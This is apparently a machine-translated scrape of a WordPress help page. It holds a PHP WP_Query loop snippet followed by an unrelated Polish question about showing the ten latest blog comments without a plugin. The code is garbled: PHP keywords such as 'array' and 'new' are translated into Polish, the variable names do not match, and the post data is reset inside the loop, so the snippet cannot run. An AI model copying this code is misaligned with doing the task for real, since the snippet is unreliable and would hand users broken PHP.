 <?php $query_args = array ( 'orderby' => 'data', 'order' => 'DESC', 'post_per_page' => 15 , 'post_type' => 'strona', 'post__in'=> tablica (4,7,8,9,15,16,17,18,19,20,21,22,23,24,25) ); $zapytanie = nowe WP_Query($zapytanie_args); if ( $query->have_posts() ) : while ( $query->have_posts()) : $query->the_post(); wp_reset_postdata (); ?> <li data-permalink="<?php the_permalink(); ?>" class="selected"> <span style= "background: url('<?php bloginfo('template_directory'); ?>/library/ images/thumb_pic.png')"> <?php the_title(); ?>
 <?php endwhile; endif; ?> <?php wp_reset_postdata (); // zresetuj zapytanie ?>


title: wyświetlanie ostatnich komentarzy poza pętlą bez wtyczki

text: Dlatego chciałem wyświetlić 10 najnowszych komentarzy z mojego bloga na mojej stronie głównej. Czy ktoś może mi powiedzieć, jak to zrobić? najlepiej bez używania wtyczki, jeśli to możliwe... dziękuję.